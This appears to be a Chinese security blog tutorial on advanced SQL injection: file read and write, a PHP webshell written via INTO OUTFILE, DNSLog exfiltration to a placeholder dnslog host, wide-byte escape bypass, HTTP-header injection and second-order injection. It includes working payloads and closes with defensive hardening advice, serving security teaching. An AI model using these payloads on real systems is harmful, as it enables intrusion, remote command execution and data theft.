☰
SQL注入进阶实战:文件读写、DNSLog盲注与宽字节等隐蔽注入技巧
2026/10/17 2:16:07 网站建设 项目流程

1. 从一次内部演练说起:为什么这些注入姿势值得单独拎出来讲

很多刚接触安全测试的朋友,第一次跑完扫描器,看到报告里一堆“疑似SQL注入”就以为万事大吉了。实际情况是,扫描器能报出来的往往是最表层的那一类,真正在实战或者内部演练里卡住人的,恰恰是那些需要手工构造、需要理解数据库行为、需要绕开常规过滤的注入方式。我这次整理的内容,就是围绕SQL注入里几个容易被忽略但非常关键的分支:读写文件、dnslog盲注、宽字节注入、User-Agent注入、Referer注入、Cookie注入、二次注入。

这些名词单看可能都认识,但真正到了实操环节,很多人会卡在“为什么我构造的payload没反应”“为什么明明有注入点却读不出数据”“为什么加了引号就报错但就是不出内容”这类问题上。这篇内容就是把这些场景拆开,讲清楚每一种注入的触发条件、构造逻辑、实操步骤,以及我在实际测试中踩过的坑。适合已经了解SQL注入基础原理、想进一步提升手工测试能力的安全从业者,也适合正在准备内部演练或CTF类题目的同学。

需要提前说明的是,以下所有操作均基于授权环境下的内部演练和模拟靶场,目的是帮助防守方理解攻击路径从而更好地加固系统。任何未经授权的测试都是不合规的,这一点不需要展开,但必须放在最前面。

2. 读写文件:从注入点到文件系统的跳板

2.1 为什么读写文件是注入利用的“质变点”

普通的SQL注入,无论怎么绕,最终拿到的还是数据库里的数据。但一旦能通过注入读写文件,性质就变了——相当于从“只能看数据库”变成了“能碰服务器文件系统”。这个跳板一旦搭起来,后续的利用空间会大很多。

读写文件依赖几个前提条件,缺一不可。第一,数据库用户需要有FILE权限,MySQL里可以通过SELECT file_priv FROM mysql.user WHERE user = current_user()来确认。第二,需要知道目标服务器的绝对路径,这个可以通过报错信息、phpinfo页面、日志文件等方式获取。第三,secure_file_priv参数不能限制得太死,如果它被设为NULL,那读写文件基本没戏;如果设为某个目录,就只能在该目录下操作;如果为空,则没有路径限制。

2.2 读文件:load_file的实战细节

读文件用的是LOAD_FILE()函数,构造起来不复杂:

SELECT LOAD_FILE('/etc/passwd');

但在注入场景里,需要结合联合查询或者报错注入来用。比如联合查询:

' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -

这里有几个实操中容易忽略的点。第一,路径必须是绝对路径,相对路径读不到。第二,文件必须对数据库用户可读,权限不够会返回NULL。第三,如果文件太大,可能会因为返回长度限制而截断,这时候可以用SUBSTRING分段读取。

注意:在Windows环境下,路径分隔符要用双反斜杠或者正斜杠,比如C:\\Windows\\win.ini或C:/Windows/win.ini,单反斜杠会被转义。

2.3 写文件:INTO OUTFILE与INTO DUMPFILE的选择

写文件比读文件限制更多,因为需要目标目录有写权限。常用的是INTO OUTFILE:

' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'-- -

这里的关键是路径必须是一个Web可访问目录,否则写进去了也执行不了。另外,INTO OUTFILE不能覆盖已存在的文件,如果目标文件已经存在,会直接报错。这时候可以考虑换文件名,或者用INTO DUMPFILE,后者适合写二进制文件,但同样不能覆盖。

还有一个细节:如果注入点所在的SQL语句本身有LIMIT限制,INTO OUTFILE需要放在LIMIT之前,否则语法会出错。这个在联合查询里尤其要注意。

2.4 读写文件的常见失败原因排查

现象可能原因排查方法
LOAD_FILE返回NULL文件不存在或权限不足换已知存在的文件测试,如/etc/hostname
INTO OUTFILE报错目录无写权限或文件已存在换/tmp目录测试,或更换文件名
写入成功但访问404路径不在Web根目录通过报错或phpinfo确认Web根路径
secure_file_priv限制参数被设为NULL或特定目录用SHOW VARIABLES LIKE 'secure_file_priv'确认

我个人的经验是,读文件成功率远高于写文件,因为写文件对权限和路径的要求更苛刻。在内部演练里,如果写文件一直失败,不要死磕,先确认secure_file_priv的值,很多时候问题就出在这里。

3. dnslog盲注:没有回显时的数据外带通道

3.1 盲注的困境与dnslog的破局思路

盲注最让人头疼的地方就是没有回显。布尔盲注要一位一位猜,时间盲注要等延迟,效率都很低。dnslog盲注的思路是:既然页面不回显,那我让数据库主动向外发起一个DNS请求,请求里带上我要外带的数据,我在DNS日志平台上看结果就行了。

这个方法的精妙之处在于,它不依赖页面回显,也不依赖时间延迟,只要数据库能发起DNS解析,就能把数据带出来。MySQL里可以通过LOAD_FILE()配合UNC路径来触发DNS请求:

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.xxxx.dnslog.cn\\abc'));

在Windows环境下,LOAD_FILE访问UNC路径时会触发DNS解析,数据库名就被拼接到域名里带出去了。

3.2 构造dnslog注入的完整流程

第一步,先确认目标数据库是否支持LOAD_FILE并且能触发DNS请求。可以先用一个简单的payload测试:

' AND LOAD_FILE(CONCAT('\\\\', 'test', '.xxxx.dnslog.cn\\abc'))-- -

如果dnslog平台收到了test.xxxx.dnslog.cn的解析记录,说明通道是通的。

第二步,把要外带的数据拼接到域名里。注意域名只能包含字母、数字和连字符,所以如果数据里有特殊字符,需要先做编码或者用HEX()转换:

' AND LOAD_FILE(CONCAT('\\\\', (SELECT HEX(database())), '.xxxx.dnslog.cn\\abc'))-- -

第三步,在dnslog平台上查看解析记录,把HEX值还原成原始数据。

3.3 dnslog盲注的局限与替代方案

dnslog盲注最大的局限是依赖Windows环境,Linux下LOAD_FILE不会触发DNS解析。另外,如果目标网络做了DNS出站限制,或者数据库用户没有FILE权限,这条路也走不通。

在Linux环境下,可以考虑用UNC路径的替代方案,比如通过SELECT ... INTO OUTFILE写入Web目录再访问,或者用时间盲注配合条件判断。还有一种思路是利用数据库的扩展功能,比如MySQL的sys_exec(需要UDF提权),但这已经超出注入本身的范围了。

实操心得:dnslog平台的选择上,建议用自己搭建的或者可信的公共平台,避免数据外带过程中被第三方截获。另外,域名前缀不要太长,有些DNS解析对长度有限制。

4. 宽字节注入:字符集转换带来的绕过机会

4.1 宽字节注入的原理:一个反斜杠引发的“吞并”

宽字节注入的核心在于字符集转换。当数据库使用GBK等多字节字符集时,一个反斜杠%5c(转义符)可能会被前面的一个字节“吞并”,形成一个合法的多字节字符,从而让后面的引号逃逸出来。

举个例子,假设代码用addslashes()把单引号转义成了\',在GBK编码下,%df%5c会被解析成一个汉字,而%5c原本是用来转义单引号的,现在被吞掉了,单引号就自由了。构造出来的payload就是:

%df' UNION SELECT 1,2,3-- -

这里的%df和%5c组合成了一个新的字符,后面的单引号不再被转义。

4.2 宽字节注入的实操步骤与注意事项

第一步,确认目标数据库的字符集。可以通过报错信息或者页面编码判断,如果是GBK、GB2312、GB18030等,就有宽字节注入的可能。

第二步,构造payload。关键是在引号前面加一个%df(或者其他高位字节),让转义符被吞掉:

%df' AND 1=1-- - %df' AND 1=2-- -

如果第一个返回正常,第二个返回异常,说明注入存在。

第三步,后续的利用和普通注入一样,联合查询、报错注入都可以。

这里有个坑:不是所有高位字节都能触发宽字节注入,%df是最常用的,但具体要看字符集的映射关系。另外,如果代码用的是mysql_real_escape_string()而不是addslashes(),宽字节注入的成功率会低很多,因为前者会考虑字符集。

4.3 宽字节注入的防御视角

从防守角度看,宽字节注入的根源是字符集不一致。数据库用GBK,而PHP层用UTF-8,转义函数按UTF-8处理,到了数据库按GBK解析,就出问题了。解决办法是统一字符集,或者在连接数据库时显式设置SET NAMES utf8,让转义函数和数据库的字符集保持一致。

5. User-Agent、Referer、Cookie注入:被忽视的HTTP头注入点

5.1 为什么HTTP头也会成为注入入口

很多人在测试注入时只盯着URL参数和POST表单,忽略了HTTP头。实际上,如果后端代码把User-Agent、Referer、Cookie这些头的值直接拼接到SQL语句里,同样存在注入。这类注入点往往更隐蔽,因为扫描器不一定能覆盖到,而且有些WAF对HTTP头的检测不如对URL参数严格。

5.2 User-Agent注入的构造与实操

User-Agent注入的构造很简单,把payload放在User-Agent头里就行:

User-Agent: ' AND 1=1-- -

如果页面返回正常,换成AND 1=2返回异常,说明注入存在。后续可以用联合查询或者报错注入来利用。

实操中需要注意的是,有些服务器会对User-Agent做长度限制,payload太长可能被截断。另外,如果后端用的是$_SERVER['HTTP_USER_AGENT']直接拼接,注入概率很高;如果用了预处理语句,那就没戏。

5.3 Referer注入与Cookie注入的差异

Referer注入和User-Agent注入类似,只是注入点换到了Referer头。Cookie注入稍微特殊一点,因为Cookie的值通常会被URL编码,构造payload时需要注意编码问题:

Cookie: id=1' AND 1=1-- -

如果Cookie的值经过了URL编码,需要先解码再注入,或者直接构造编码后的payload。

这三种注入的利用方式和普通注入没有本质区别,关键在于找到注入点。我个人的经验是,在测试时可以把所有HTTP头都过一遍,尤其是那些看起来会被记录到数据库里的头,比如User-Agent和Referer,很多日志记录功能都会把它们存进数据库。

5.4 HTTP头注入的排查技巧

注入点测试方法常见问题
User-Agent替换为' AND 1=1-- -长度限制、WAF拦截
Referer替换为' AND 1=1-- -部分服务器不记录Referer
Cookie替换为' AND 1=1-- -URL编码、HttpOnly限制
X-Forwarded-For替换为' AND 1=1-- -需要后端有IP记录功能

注意:测试HTTP头注入时,建议先用AND 1=1和AND 1=2做布尔判断,不要一上来就用联合查询,避免payload过长被截断。

6. 二次注入:数据“存进去”再“取出来”时的爆发

6.1 二次注入的独特之处:存储与触发的分离

二次注入和普通注入最大的区别在于,注入payload不是立即触发,而是先被存储到数据库里,然后在后续的某个查询中被触发。这种分离让二次注入非常隐蔽,因为第一次插入时可能做了转义,看起来没问题,但数据存进数据库后转义符被还原,第二次查询时就直接拼接了。

举个例子,注册用户时用户名填admin'-- -,插入时被转义成admin\'-- -,存进数据库后变成admin'-- -。后续修改密码时,代码从数据库取出用户名拼接到SQL里,就变成了:

UPDATE users SET password='newpass' WHERE username='admin'-- -'

结果就是admin的密码被改了。

6.2 二次注入的实操挖掘思路

二次注入的挖掘需要关注“数据流”:哪些地方会写入数据库,哪些地方会从数据库读取并再次拼接。常见的场景包括用户注册、密码修改、评论发布、订单提交等。

实操步骤上,第一步是找到写入点,比如注册页面,在用户名或邮箱里插入payload。第二步是找到触发点,比如修改密码、查看订单等会用到刚才写入数据的功能。第三步是观察触发效果,比如是否成功越权、是否报错、是否数据被篡改。

这里有个技巧:在插入payload时,可以用一些不会立即报错的字符,比如'、-- -、#,先存进去,然后在触发点观察反应。如果触发点报错,说明payload被拼接了;如果触发点行为异常,说明注入生效了。

6.3 二次注入的防御难点与加固建议

二次注入难防的原因在于,开发人员往往认为“数据已经转义过了,存进数据库就安全了”,忽略了数据取出后再次拼接的风险。加固的核心原则是:永远不要信任从数据库取出的数据,所有拼接SQL的地方都要用预处理语句,而不是依赖入库时的转义。

另外,可以在数据取出后做一次校验,比如用户名只允许字母数字,发现异常字符就拒绝处理。但这只是辅助手段,根本还是预处理。

7. 常见问题与排查技巧实录

7.1 注入点存在但读不出数据怎么办

这是最常见的问题。首先确认注入类型:如果是联合查询,检查字段数对不对,用ORDER BY逐步试;如果是报错注入,确认数据库版本和报错函数是否匹配;如果是盲注,确认布尔条件或时间延迟是否生效。

如果都确认了还是读不出数据,可能是权限问题。比如当前数据库用户没有SELECT权限,或者只能访问特定表。这时候可以尝试读information_schema,看看能访问哪些库和表。

7.2 宽字节注入不生效的排查

宽字节注入不生效,通常有几个原因。第一,数据库字符集不是GBK,可能是UTF-8,那宽字节注入就不适用。第二,转义函数用的是mysql_real_escape_string()而不是addslashes(),前者会考虑字符集,宽字节注入成功率低。第三,%df这个字节被过滤了,可以尝试其他高位字节,比如%bf、%a1等。

7.3 dnslog平台收不到请求的排查

dnslog收不到请求,先确认LOAD_FILE是否可用,可以用SELECT LOAD_FILE('/etc/hostname')测试。如果LOAD_FILE可用但dnslog没反应,可能是目标网络限制了DNS出站,或者UNC路径格式不对。Windows下UNC路径是\\host\share,在SQL里需要写成\\\\host\\share。

7.4 二次注入触发点找不到的排查

二次注入的触发点往往比较隐蔽,可以关注这些功能:修改密码、修改邮箱、查看个人资料、下单、评论回复。另外,可以观察哪些功能会用到之前写入的数据,比如注册时的用户名在登录后被显示在页面上,那这个显示点可能就是触发点。

问题类型排查方向快速验证方法
联合查询无回显字段数、回显位用UNION SELECT 1,2,3逐步试
报错注入无报错报错函数、版本换updatexml或extractvalue
盲注无延迟时间函数、权限用SLEEP(5)测试
文件读写失败权限、路径、secure_file_priv读已知文件测试
dnslog无请求网络、LOAD_FILE权限先用简单域名测试

7.5 实操中的几个避坑经验

第一,测试注入时一定要先备份或者确认环境可恢复,尤其是在写文件或者修改数据之前。第二,payload尽量简洁,太长的payload容易被WAF拦截或者被截断。第三,注意编码问题,URL编码、HEX编码、Unicode编码在不同场景下效果不同。第四,时间盲注的延迟时间不要设太长,1到2秒足够,太长会影响测试效率。第五,二次注入的payload要选择不会破坏数据完整性的,避免影响后续测试。

8. 从攻击视角回到防守:这些注入姿势给我们的启示

把上面这些注入方式过一遍,会发现一个共同点:它们之所以能生效,往往不是因为数据库本身有漏洞,而是因为代码在拼接SQL时没有做好隔离。读写文件依赖的是数据库的文件权限过大,dnslog盲注依赖的是数据库能发起外部请求,宽字节注入依赖的是字符集不一致,HTTP头注入依赖的是对输入来源的信任,二次注入依赖的是对存储数据的二次信任。

从防守角度,对应的加固措施其实很明确:最小权限原则,数据库用户不要给FILE权限;统一字符集,避免宽字节问题;所有拼接SQL的地方用预处理语句;对HTTP头也要做校验和过滤;从数据库取出的数据同样不能直接拼接。这些措施不新鲜,但真正落地到位的不多。

我在内部演练中最大的体会是,很多注入点不是技术有多难,而是开发人员根本没意识到那个地方会被注入。比如User-Agent注入,很多人觉得“用户代理头谁会去改”,但攻击者恰恰会改。安全测试的价值就在于把这些被忽视的角落翻出来,让防守方看到完整的攻击面。

最后分享一个小技巧:在测试注入时,可以准备一个“注入点清单”,把URL参数、POST字段、HTTP头、Cookie、甚至JSON body都列进去,逐个过一遍。这样不容易漏,也方便记录哪些点有效、哪些点无效。时间长了,这份清单就是你自己的经验库。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询